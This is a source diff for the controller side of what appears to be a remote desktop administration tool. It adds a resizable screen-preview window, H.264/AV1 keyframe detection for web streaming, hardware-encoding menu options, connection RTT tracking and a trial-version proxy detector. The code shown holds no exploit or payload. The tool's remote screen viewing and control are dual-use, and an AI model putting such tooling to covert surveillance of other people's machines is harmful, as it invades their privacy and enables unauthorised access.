if (m_loopMode && m_loopOwner && ::IsWindow(m_loopOwner) && m_loopMsg != 0) {
HWND owner = m_loopOwner;
UINT msg = m_loopMsg;
m_loopOwner = nullptr;
m_loopMsg = 0;
// 64 位 clientId 用 LPARAM 指针传递WPARAM 在 32 位 Windows 不够宽。
auto* pId = new uint64_t(m_clientId);
if (!::PostMessageA(owner, msg, 0, (LPARAM)pId)) {
delete pId;
}
}
CWnd::OnDestroy();
}
void CPreviewTipWnd::PostNcDestroy()
{
// 仅循环模式自管理生命周期;单次提示窗口由主对话框 SAFE_DELETE 释放。
bool selfDelete = m_loopMode;
CWnd::PostNcDestroy();
if (selfDelete) {
delete this;
}
}
void CPreviewTipWnd::RecalcLayoutAndResize()
{
HWND hWnd = GetSafeHwnd();
@@ -181,6 +266,7 @@ void CPreviewTipWnd::OnPaint()
CPaintDC pdc(this);
CRect rcClient;
GetClientRect(&rcClient);
if (rcClient.IsRectEmpty()) return;
// 双缓冲
CDC memDC;
@@ -189,41 +275,115 @@ void CPreviewTipWnd::OnPaint()
memBmp.CreateCompatibleBitmap(&pdc, rcClient.Width(), rcClient.Height());
CBitmap* oldBmp = memDC.SelectObject(&memBmp);
memDC.FillSolidRect(&rcClient, ::GetSysColor(COLOR_INFOBK));
// 单发 tooltip 用 COLOR_INFOBK系统提示底色循环窗口用 COLOR_BTNFACE普通窗口背景
COLORREF bg = m_loopMode ? ::GetSysColor(COLOR_BTNFACE) : ::GetSysColor(COLOR_INFOBK);
memDC.FillSolidRect(&rcClient, bg);
CFont* oldFont = memDC.SelectObject(&m_font);
memDC.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
memDC.SetTextColor(::GetSysColor(m_loopMode ? COLOR_WINDOWTEXT : COLOR_INFOTEXT));
memDC.SetBkMode(TRANSPARENT);
int curY = PADDING;
if (m_imageDrawW > 0 && m_imageDrawH > 0) {
CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
DrawImageArea(memDC, rcImg);
curY += m_imageDrawH + IMAGE_TEXT_GAP;
if (m_loopMode) {
// 循环模式:基于 client rect 动态分配;图像区按 client 大小自适应,文本固定在底部
CRect rcImg, rcText;
LayoutForLoopMode(rcClient, rcImg, rcText);
if (!rcImg.IsRectEmpty()) DrawImageArea(memDC, rcImg);
if (!rcText.IsRectEmpty()) DrawTextArea(memDC, rcText);
} else {
// 单发 tooltip保持原行为按 RecalcLayoutAndResize 算好的固定尺寸排版
int curY = PADDING;
if (m_imageDrawW > 0 && m_imageDrawH > 0) {
CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
DrawImageArea(memDC, rcImg);
curY += m_imageDrawH + IMAGE_TEXT_GAP;
}
CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
DrawTextArea(memDC, rcText);
}
CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
DrawTextArea(memDC, rcText);
memDC.SelectObject(oldFont);
pdc.BitBlt(0, 0, rcClient.Width(), rcClient.Height(), &memDC, 0, 0, SRCCOPY);
memDC.SelectObject(oldBmp);
}
void CPreviewTipWnd::LayoutForLoopMode(const CRect& client, CRect& outImg, CRect& outText)
{
outImg.SetRectEmpty();
outText.SetRectEmpty();
int innerW = client.Width() - 2 * PADDING;
if (innerW < 50) return; // 太窄,啥也别画,避免计算崩溃
// 计算文本以当前可用宽度换行后的高度(用一份临时 DC
int textH = 0;
{
CClientDC dc(this);
CFont* old = dc.SelectObject(&m_font);
CRect rcCalc(0, 0, innerW, 32767);
::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &rcCalc,
DT_CALCRECT | DT_LEFT | DT_WORDBREAK | DT_NOPREFIX);
textH = rcCalc.Height();
dc.SelectObject(old);
}
// 文本固定在底部
outText.SetRect(client.left + PADDING,
client.bottom - PADDING - textH,
client.right - PADDING,
client.bottom - PADDING);
// 图像区占顶部剩余空间
outImg.SetRect(client.left + PADDING,
client.top + PADDING,
client.right - PADDING,
outText.top - IMAGE_TEXT_GAP);
// 高度不足以放图像(被压扁)→ 只画文本
if (outImg.Height() < 60) {
outImg.SetRectEmpty();
// 文本提到中间,避免压在底部边缘
outText.MoveToY(client.top + PADDING);
}
}
void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
{
if (rc.IsRectEmpty()) return;
// 边框
dc.Draw3dRect(&rc, ::GetSysColor(COLOR_3DSHADOW), ::GetSysColor(COLOR_3DSHADOW));
CRect rcInner = rc;
rcInner.DeflateRect(1, 1);
if (m_hasImage && m_image) {
Graphics g(dc.GetSafeHdc());
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
g.SetSmoothingMode(SmoothingModeHighQuality);
g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
if (m_loopMode) {
// 循环模式:保留长宽比适配 rect黑色背景充当 letterbox 留白
dc.FillSolidRect(&rcInner, RGB(32, 32, 32));
double imgW = (double)m_image->GetWidth();
double imgH = (double)m_image->GetHeight();
if (imgW > 0 && imgH > 0 && rcInner.Width() > 0 && rcInner.Height() > 0) {
double sx = rcInner.Width() / imgW;
double sy = rcInner.Height() / imgH;
double scale = sx < sy ? sx : sy;
int drawW = (int)(imgW * scale + 0.5);
int drawH = (int)(imgH * scale + 0.5);
int x = rcInner.left + (rcInner.Width() - drawW) / 2;
int y = rcInner.top + (rcInner.Height() - drawH) / 2;
Graphics g(dc.GetSafeHdc());
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
g.SetSmoothingMode(SmoothingModeHighQuality);
g.DrawImage(m_image.get(), x, y, drawW, drawH);
}
} else {
// 单发:与原行为一致,铺满 rc
Graphics g(dc.GetSafeHdc());
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
g.SetSmoothingMode(SmoothingModeHighQuality);
g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
}
} else {
// 占位灰色背景
CRect rcInner = rc;
rcInner.DeflateRect(1, 1);
dc.FillSolidRect(&rcInner, RGB(245, 245, 245));
const wchar_t* placeholder = m_unavailable ? L"Preview Unavailable" : L"Loading Preview ...";
@@ -231,10 +391,29 @@ void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
dc.SetTextColor(m_unavailable ? RGB(160, 80, 80) : RGB(120, 120, 120));
RECT rcInnerRaw = rcInner;
::DrawTextW(dc.GetSafeHdc(), placeholder, -1, &rcInnerRaw, fmt);
dc.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
dc.SetTextColor(::GetSysColor(m_loopMode ? COLOR_WINDOWTEXT : COLOR_INFOTEXT));
}
}
void CPreviewTipWnd::OnSize(UINT nType, int cx, int cy)
{
CWnd::OnSize(nType, cx, cy);
if (m_loopMode && GetSafeHwnd()) {
// 循环模式:所有排版交给 OnPaint 读取 client rect重画即可
Invalidate();
}
}
void CPreviewTipWnd::OnGetMinMaxInfo(MINMAXINFO* lpMMI)
{
if (m_loopMode && lpMMI) {
// 防止用户把窗口拽到肉眼不可见。240x200 大致能保证标题栏 + 一行文本 + 缩略图可见。
lpMMI->ptMinTrackSize.x = 240;
lpMMI->ptMinTrackSize.y = 200;
}
CWnd::OnGetMinMaxInfo(lpMMI);
}
void CPreviewTipWnd::DrawTextArea(CDC& dc, const CRect& rc)
{
RECT r = rc;

View File

@@ -20,7 +20,12 @@ public:
// text 下方显示的主机详情文本(宽字符,确保跨语言系统正确渲染)
// imageReserveW 上方图像区域预留宽度(即将到来的预览最大宽度,仅作初始布局)
// 为 0 表示不预留 — 与老 STATIC 路径行为一致(仅文本)
BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW);
// loopMode true: 真正的可拖拽/缩放/最小化/最大化的独立窗口("播放快照"循环),
// 带标题栏 + 任务栏图标,关闭按钮走系统菜单;
// false: 单发 tooltip双击主机的预览无 chrome、不激活、置顶。
// windowTitle loopMode=true 时显示在标题栏与任务栏的文本false 时忽略。
BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW,
bool loopMode = false, const CStringW& windowTitle = L"");
// 收到 JPEG 后调用:解码并重画。线程安全前提是只在主 UI 线程调用。
void SetImageFromJpeg(const BYTE* data, size_t bytes);
@@ -30,15 +35,28 @@ public:
WORD GetReqId() const { return m_reqId; }
void SetReqId(WORD id) { m_reqId = id; }
// 循环快照模式:开启后窗口销毁时会向 ownerHwnd 发送 msgIdLPARAM 是堆上的
// uint64_t* 携带 clientId接收方负责 delete且 PostNcDestroy 会自动 delete this。
// 调用方需在自行销毁前用 SetLoopOwner(NULL, 0, 0) 解除回调,避免重复通知。
void SetLoopOwner(HWND ownerHwnd, UINT msgId, uint64_t clientId);
uint64_t GetClientID() const { return m_clientId; }
bool IsLoopMode() const { return m_loopMode; }
protected:
afx_msg void OnPaint();
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
afx_msg void OnDestroy();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnGetMinMaxInfo(MINMAXINFO* lpMMI);
virtual void PostNcDestroy();
DECLARE_MESSAGE_MAP()
private:
void RecalcLayoutAndResize();
void DrawImageArea(CDC& dc, const CRect& rc);
void DrawTextArea(CDC& dc, const CRect& rc);
// 循环模式:基于当前 client rect 重新分配图像区/文本区
void LayoutForLoopMode(const CRect& client, CRect& outImg, CRect& outText);
CStringW m_text;
int m_imageReserveW = 0; // 预留图像宽度(图像未到达时占位)
@@ -54,4 +72,14 @@ private:
CFont m_font;
WORD m_reqId = 0;
// 循环快照模式相关
bool m_loopMode = false;
HWND m_loopOwner = nullptr;
UINT m_loopMsg = 0;
uint64_t m_clientId = 0;
// 标题栏 / 任务栏图标。WM_SETICON 不转移所有权MSDNoriginator 必须自己释放),
// 析构时 DestroyIcon不能在 OnDestroy 里销毁,因为系统在 WM_NCDESTROY 之前还在用它。
HICON m_hIconSmall = nullptr;
HICON m_hIconBig = nullptr;
};

View File

@@ -43,6 +43,66 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
#define TIMER_ID 132
// H.264 Annex B keyframe 探测:扫描 start code (00 00 01 / 00 00 00 01)
// 取后续 NAL header low 5 bits命中 5 (IDR) / 7 (SPS) / 8 (PPS) 即认定为关键帧。
static bool IsH264Keyframe(const uint8_t* data, size_t len)
{
for (size_t i = 0; i + 4 < len; ++i) {
size_t nalOffset = 0;
if (data[i] == 0 && data[i+1] == 0 && data[i+2] == 0 && data[i+3] == 1) {
nalOffset = i + 4;
} else if (data[i] == 0 && data[i+1] == 0 && data[i+2] == 1) {
nalOffset = i + 3;
} else {
continue;
}
if (nalOffset >= len) continue;
uint8_t nalType = data[nalOffset] & 0x1F;
if (nalType == 5 || nalType == 7 || nalType == 8) return true;
}
return false;
}
// AV1 OBU keyframe 探测:扫描 OBU 链,遇到 OBU_SEQUENCE_HEADER (type 1) 即认定为关键帧。
// FFmpeg AV1 编码器在每个 IDR 前必定插入 SEQ HDR因此该判定与 H.264 NAL 5/7/8 语义对齐。
static bool IsAv1Keyframe(const uint8_t* data, size_t len)
{
size_t pos = 0;
while (pos < len) {
uint8_t hdr = data[pos];
uint8_t obu_type = (hdr >> 3) & 0x0F;
bool has_ext = (hdr & 0x04) != 0;
bool has_size = (hdr & 0x02) != 0;
if (obu_type == 1 /*OBU_SEQUENCE_HEADER*/) return true;
pos++;
if (has_ext) {
if (pos >= len) return false;
pos++;
}
if (!has_size) return false; // 无 size 字段OBU 占满到包尾,无法继续解析
// LEB128 size
uint64_t sz = 0;
for (int i = 0; i < 8; ++i) {
if (pos >= len) return false;
uint8_t b = data[pos++];
sz |= (uint64_t)(b & 0x7F) << (7 * i);
if ((b & 0x80) == 0) break;
}
if (pos + sz > len) return false;
pos += (size_t)sz;
}
return false;
}
// 首字节嗅探H.264 Annex B 首字节恒为 0x00起始码AV1 OBU header 首字节
// bit7=0、bits[3:6]=obu_type 1-15典型值 0x08-0x78绝不为 0x00。
// 一字节即可干净区分两套码流,无需协议字段或编码端协商。
static bool IsAnyKeyframe(const uint8_t* data, size_t len)
{
if (len == 0) return false;
return data[0] == 0x00 ? IsH264Keyframe(data, len) : IsAv1Keyframe(data, len);
}
// 静态成员变量定义
int CScreenSpyDlg::s_nFastStretch = -1; // -1 表示未初始化
@@ -567,6 +627,26 @@ BOOL CScreenSpyDlg::OnInitDialog()
__super::OnInitDialog();
SetIcon(m_hIcon,FALSE);
// Determine session type FIRST so the window-show machinery below
// (SetWindowPlacement with showCmd=SW_MAXIMIZE, EnterFullScreen) can be
// skipped for hidden web sessions. Without this, the dialog briefly
// flashes on-screen — the hide used to happen ~200 lines later, after
// a chain of init work that the user could see in the meantime.
bool isMfcSession = WebService().IsMfcTriggered(m_ClientID);
if (isMfcSession) {
// MFC-triggered: clear the flag, don't register with WebService.
WebService().ClearMfcTriggered(m_ClientID);
// m_bIsWebSession remains false (default)
} else if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) {
// Web-triggered: register and hide upfront.
WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
m_bHide = true;
m_bIsWebSession = true;
ShowWindow(SW_HIDE);
}
Mprintf("[ScreenSpy] Dialog created for device %llu, isMfcSession=%d, isWebSession=%d\n",
m_ClientID, isMfcSession ? 1 : 0, m_bIsWebSession.load() ? 1 : 0);
// 获取默认 IME 上下文ImmAssociateContext 返回之前关联的上下文)
// 先禁用再恢复,以获取原始上下文句柄
m_hOldIMC = ImmAssociateContext(m_hWnd, NULL);
@@ -655,6 +735,12 @@ BOOL CScreenSpyDlg::OnInitDialog()
// 音频菜单项
SysMenu->AppendMenuL(MF_STRING, IDM_AUDIO_TOGGLE, "系统音频(&U)");
SysMenu->CheckMenuItem(IDM_AUDIO_TOGGLE, m_Settings.AudioEnabled ? MF_CHECKED : MF_UNCHECKED);
SysMenu->AppendMenuL(MF_STRING, IDM_ENABLE_H264_HARD, "启用 H264 硬编码");
SysMenu->CheckMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_CHECKED : MF_UNCHECKED);
SysMenu->EnableMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_GRAYED : MF_ENABLED);
SysMenu->AppendMenuL(MF_STRING, IDM_ENABLE_AV1_HARD, "启用 AV1 硬编码");
SysMenu->CheckMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_CHECKED : MF_UNCHECKED);
SysMenu->EnableMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_GRAYED : MF_ENABLED);
// 初始化勾选状态
UpdateQualityMenuCheck(SysMenu);
@@ -730,11 +816,19 @@ BOOL CScreenSpyDlg::OnInitDialog()
wp.rcNormalPosition.right = normalX + normalWidth;
wp.rcNormalPosition.bottom = normalY + normalHeight;
wp.showCmd = SW_MAXIMIZE;
SetWindowPlacement(&wp);
// 同时初始化 m_struOldWndpl供全屏退出时使用
m_struOldWndpl = wp;
m_Settings.FullScreen ? EnterFullScreen() : LeaveFullScreen();
// Skip the placement + fullscreen machinery for hidden web sessions —
// those calls would briefly flash the dialog on the user's desktop
// before the early ShowWindow(SW_HIDE) above takes effect at WM_PAINT
// time. m_struOldWndpl still gets a sane snapshot so any defensive
// LeaveFullScreen path later has something to restore against.
if (!m_bIsWebSession) {
SetWindowPlacement(&wp);
m_struOldWndpl = wp;
m_Settings.FullScreen ? EnterFullScreen() : LeaveFullScreen();
} else {
m_struOldWndpl = wp;
}
// 启动传输速率更新定时器 (1秒)
SetTimer(4, 1000, NULL);
@@ -771,32 +865,9 @@ BOOL CScreenSpyDlg::OnInitDialog()
if (pMain)
::PostMessage(pMain->GetSafeHwnd(), WM_SESSION_ACTIVATED, (WPARAM)this, 0);
// Determine session type: MFC or Web
// Must check MfcTriggered FIRST - if MFC triggered this dialog, it's NOT a web session
// even if WebTriggered is also true (happens when Web is already open for same device)
bool isMfcSession = WebService().IsMfcTriggered(m_ClientID);
bool isWebSession = false;
if (isMfcSession) {
// MFC session: clear the flag, don't register with WebService
WebService().ClearMfcTriggered(m_ClientID);
// m_bIsWebSession remains false (default)
} else {
// Check if this is a Web session
isWebSession = WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions();
// Only register screen context for Web sessions
// MFC dialogs handle input directly via m_ContextObject, don't need WebService registry
// This prevents MFC close from deleting Web's context (they share same device_id key)
if (isWebSession) {
WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
m_bHide = true;
m_bIsWebSession = true;
ShowWindow(SW_HIDE);
}
}
Mprintf("[ScreenSpy] Dialog created for device %llu, isMfcSession=%d, isWebSession=%d\n",
m_ClientID, isMfcSession ? 1 : 0, isWebSession ? 1 : 0);
// Session type detection and visibility moved to the top of this function
// (right after __super::OnInitDialog) so SetWindowPlacement / EnterFullScreen
// above can be skipped for web sessions and avoid a visible flash.
return TRUE;
}
@@ -1405,27 +1476,11 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
bChange = TRUE;
}
}
// Broadcast H264 frame to web clients (only for Web session dialogs)
// Format: [DeviceID:4][FrameType:1][DataLen:4][H264Data:N]
// Broadcast video frame to web clients (only for Web session dialogs)
// Format: [DeviceID:4][FrameType:1][DataLen:4][VideoData:N]
// 浏览器侧按首字节嗅探区分 H.264 / AV1因此 packet 内不需要 codec 字段。
if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
// Detect H264 keyframe by checking NAL unit type
// NAL type 5 = IDR slice (keyframe), NAL type 7 = SPS, NAL type 8 = PPS
bool isKeyFrame = false;
LPBYTE h264Data = (LPBYTE)NextScreenData;
for (ULONG i = 0; i + 4 < NextScreenLength; i++) {
// Look for start code: 0x00 0x00 0x00 0x01 or 0x00 0x00 0x01
if ((h264Data[i] == 0 && h264Data[i+1] == 0 && h264Data[i+2] == 0 && h264Data[i+3] == 1) ||
(h264Data[i] == 0 && h264Data[i+1] == 0 && h264Data[i+2] == 1)) {
int nalOffset = (h264Data[i+2] == 1) ? i + 3 : i + 4;
if (nalOffset < (int)NextScreenLength) {
int nalType = h264Data[nalOffset] & 0x1F;
if (nalType == 5 || nalType == 7 || nalType == 8) {
isKeyFrame = true;
break;
}
}
}
}
bool isKeyFrame = IsAnyKeyframe((const uint8_t*)NextScreenData, NextScreenLength);
std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
@@ -1861,11 +1916,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
switch (nID) {
case IDM_CONTROL: {
m_bIsCtrl = !m_bIsCtrl;
m_bIsTraceCursor = !m_bIsCtrl;
// 进入控制模式时重置放大状态
if (m_bIsCtrl && m_bZoomedIn) {
ResetZoom();
}
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
// 控制模式:禁用本地 IME查看模式启用本地 IME
ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
@@ -1904,6 +1961,7 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
FCCHandler handler = nID == IDM_SAVEAVI ? ENCODER_MJPEG : ENCODER_H264;
int code;
if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) {
DeleteFile(m_aviFile); // 删除 AVIFileOpen 残留的 0 字节文件
MessageBoxL(CString("Create Video(*.avi) Failed:\n") + m_aviFile + "\r\n" + _TR("错误代码: ") +
CBmpToAvi::GetErrMsg(code).c_str(), "提示", MB_ICONINFORMATION);
m_aviFile = _T("");
@@ -2126,6 +2184,26 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
}
break;
}
case IDM_ENABLE_H264_HARD: {
m_Settings.EncodeLevel = m_Settings.EncodeLevel ? LEVEL_H264_SOFT : LEVEL_H264_HARD;
SysMenu->CheckMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_CHECKED : MF_UNCHECKED);
SysMenu->EnableMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_GRAYED : MF_ENABLED);
SysMenu->EnableMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_GRAYED : MF_ENABLED);
BYTE bToken[] = {COMMAND_ENCODE_LEVEL, m_Settings.EncodeLevel };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
break;
}
case IDM_ENABLE_AV1_HARD: {
m_Settings.EncodeLevel = m_Settings.EncodeLevel ? LEVEL_H264_SOFT : LEVEL_AV1_HARD;
SysMenu->CheckMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_CHECKED : MF_UNCHECKED);
SysMenu->EnableMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_GRAYED : MF_ENABLED);
SysMenu->EnableMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_GRAYED : MF_ENABLED);
BYTE bToken[] = { COMMAND_ENCODE_LEVEL, m_Settings.EncodeLevel };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
break;
}
}
__super::OnSysCommand(nID, lParam);
@@ -2277,6 +2355,16 @@ void CScreenSpyDlg::EvaluateQuality()
// 2. 计算目标等级
int targetLevel = GetTargetQualityLevel(rtt, m_bUsingFRP);
// Web 会话只解码 H264。levels 0 (Ultra/DIFF) 和 1 (High/RGB565) 在网络好的时候
// 会被自适应控制器选中,但 device 切到那两个算法后浏览器的 WebCodecs decoder
// 就吃不下了,画面冻在最后一个 H264 帧上 (用户感受是 ~1 分钟后卡死,
// 因为 EvaluateQuality 启动 1 分钟才开始评估)。Clamp 到最高质量的 H264 等级
// 让自适应在 H264 区间内继续工作.
if (m_bIsWebSession && targetLevel < QUALITY_GOOD) {
targetLevel = QUALITY_GOOD;
}
int currentLevel = m_AdaptiveQuality.currentLevel;
if (targetLevel == currentLevel) {
@@ -2322,6 +2410,14 @@ void CScreenSpyDlg::ApplyQualityLevel(int level, bool persist)
{
if (level < 0 || level >= QUALITY_COUNT) return;
// Defense in depth: ALL paths that set quality level (adaptive controller,
// manual menu pick, restore from config, …) flow through here. Web
// sessions cannot use non-H264 levels — see EvaluateQuality for the
// failure mode explanation.
if (m_bIsWebSession && level < QUALITY_GOOD) {
level = QUALITY_GOOD;
}
const QualityProfile& profile = GetQualityProfile(level);
int oldMaxWidth = m_AdaptiveQuality.currentMaxWidth;
int newMaxWidth = profile.maxWidth;

View File

@@ -8,28 +8,81 @@
#include "ToolbarDlg.h"
#include "2015RemoteDlg.h"
#include "common/config.h"
extern "C"
{
#include "libyuv\libyuv.h"
}
#if DISABLE_FFMPEG_FOR_TEST
#define AV_CODEC_ID_H264 27
#define AVERROR(e) (-(e))
// 伪装不涉及内部成员直接访问的上下文指针
typedef void AVCodecContext;
typedef void AVCodec;
// 伪装 AVPacket 结构体,补全被主程序访问的 data 和 size 成员
struct AVPacket {
unsigned char* data;
int size;
long long pts;
long long dts;
int flags;
};
// 伪装 AVFrame 结构体,补全被主程序访问的 data 和 linesize 成员
struct AVFrame {
unsigned char* data[8];
int linesize[8];
int width;
int height;
int format;
};
// 使用 extern "C" __inline 或者是 inline 关键字,直接就地实现函数体
extern "C" {
__inline void av_frame_unref(AVFrame* frame) {
if (frame) {
for (int i = 0; i < 8; i++) { frame->data[i] = nullptr; frame->linesize[i] = 0; }
}
}
__inline AVCodec* avcodec_find_decoder(int id) { return nullptr; }
__inline void av_init_packet(AVPacket* pkt) { if (pkt) { pkt->data = nullptr; pkt->size = 0; } }
__inline AVCodecContext* avcodec_alloc_context3(const AVCodec* codec) { return nullptr; }
__inline void avcodec_free_context(AVCodecContext** avctx) { if (avctx) *avctx = nullptr; }
__inline int avcodec_open2(AVCodecContext* avctx, const AVCodec* codec, void** options) { return -1; }
__inline int avcodec_send_packet(AVCodecContext* avctx, const AVPacket* avpkt) { return -1; }
__inline int avcodec_receive_frame(AVCodecContext* avctx, AVFrame* frame) { return -1; }
__inline void avcodec_flush_buffers(AVCodecContext* avctx) { /* 空白实现 */ }
}
#else
extern "C"
{
#include "libavcodec\avcodec.h"
#include "libavutil\avutil.h"
#include "libyuv\libyuv.h"
}
#ifndef _WIN64
// https://github.com/Terodee/FFMpeg-windows-static-build/releases
#pragma comment(lib,"ffmpeg/libavcodec.lib")
#pragma comment(lib,"ffmpeg/libavutil.lib")
#pragma comment(lib,"ffmpeg/libswresample.lib")
#pragma comment(lib,"libyuv/libyuv.lib")
#else
#pragma comment(lib,"x264/libx264_x64.lib")
#pragma comment(lib,"libyuv/libyuv_x64.lib")
// https://github.com/ShiftMediaProject/FFmpeg
#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
#endif
#endif
#ifndef _WIN64
#pragma comment(lib,"libyuv/libyuv.lib")
#else
#pragma comment(lib,"libyuv/libyuv_x64.lib")
#endif
#pragma comment(lib, "Mfplat.lib")
#pragma comment(lib, "Mfuuid.lib")
@@ -82,6 +135,8 @@ enum {
IDM_RESTORE_CONSOLE, // RDP会话归位
IDM_RESET_VIRTUAL_DESKTOP, // 重置虚拟桌面
IDM_AUDIO_TOGGLE, // 音频开关
IDM_ENABLE_H264_HARD,
IDM_ENABLE_AV1_HARD,
};
// 状态信息窗口 - 全屏时显示帧率/速度/质量

View File

@@ -8,6 +8,7 @@
#include "Buffer.h"
#define XXH_INLINE_ALL
#include "common/xxhash.h"
#include "common/LANChecker.h"
#include <WS2tcpip.h>
#include <common/ikcp.h>
#include <atomic>
@@ -378,6 +379,14 @@ public:
std::atomic<int> IoRefCount{0}; // I/O 处理引用计数
std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除
// 内核测得的纯网络 RTTμs由 IOCPServer 的 RTT 轮询线程通过
// WSAIoctl(SIO_TCP_INFO) 周期性写入;任何线程可通过 GetRttUs() 安全读取。
// m_LastRttSampleMs == 0 表示从未成功采样过OS 不支持或连接太短未轮询到)。
std::atomic<uint32_t> m_RttUs{0};
std::atomic<uint64_t> m_LastRttSampleMs{0};
// 试用版反代理逐连接检测器。仅由 IOCPServer 的 RTT 轮询线程访问,免锁。
TcpRttBreachDetector m_RttDetector;
// 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。
// 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受),
// 仅作为标记供后续命令处理 / 未来收紧策略使用。
@@ -517,9 +526,28 @@ public:
IoRefCount.store(0, std::memory_order_release);
// 复用对象池时清空校验状态
m_bAuthenticated.store(false, std::memory_order_release);
// 复用对象池时重置 RTT 相关状态,避免上一个连接的数据污染
m_RttUs.store(0, std::memory_order_release);
m_LastRttSampleMs.store(0, std::memory_order_release);
m_RttDetector.Reset();
}
void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); }
bool IsAuthenticated() const { return m_bAuthenticated.load(std::memory_order_acquire); }
// 由 RTT 轮询线程写入。rttUs 为内核测得的纯网络 RTT微秒
void SetRttUs(uint32_t rttUs)
{
m_RttUs.store(rttUs, std::memory_order_release);
m_LastRttSampleMs.store((uint64_t)GetTickCount64(), std::memory_order_release);
}
uint32_t GetRttUs() const { return m_RttUs.load(std::memory_order_acquire); }
// 供 UI 展示用μs → ms样本超过 10 秒未更新(连接刚断/未轮询到)视为不可用,返回 -1。
int GetRttMsForDisplay() const
{
uint64_t last = m_LastRttSampleMs.load(std::memory_order_acquire);
if (last == 0 || (uint64_t)GetTickCount64() - last > 10000) return -1;
return (int)((m_RttUs.load(std::memory_order_acquire) + 500) / 1000);
}
uint64_t GetAliveTime()const
{
return time(0) - OnlineTime;

View File

@@ -9,6 +9,8 @@
//
// 编码要求:此文件必须保存为 UTF-8 with BOMMSVC 要求)
// 注意:此文件中的配置会编译到程序中,运行时无法修改。
// 修改原则最小化原则。如果是UI文案修改通常没有问题
// 如果修改项涉及数据存储、程序配置、代码逻辑,可能导致程序异常。
//
// ============================================================
//
@@ -44,7 +46,7 @@
// 程序版本号 [建议格式: X.Y.Z]
// 影响:关于对话框、标题栏
#define BRAND_VERSION "1.3.3"
#define BRAND_VERSION "1.3.5"
// 启动画面名称 [建议大写,更有 Logo 感]
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
@@ -107,6 +109,7 @@
// 注册表键名 [仅ASCII无空格]
// 存储位置HKCU\Software\{此键名}
// 不能修改,修改会隐藏授权
#define BRAND_REGISTRY_KEY "YAMA"
// 网络通信前缀 [仅ASCII无空格]
@@ -262,7 +265,7 @@
//
// 如果配置值以 "http" 开头,则作为 URL 打开浏览器。
// 否则直接显示为文本消息。
//
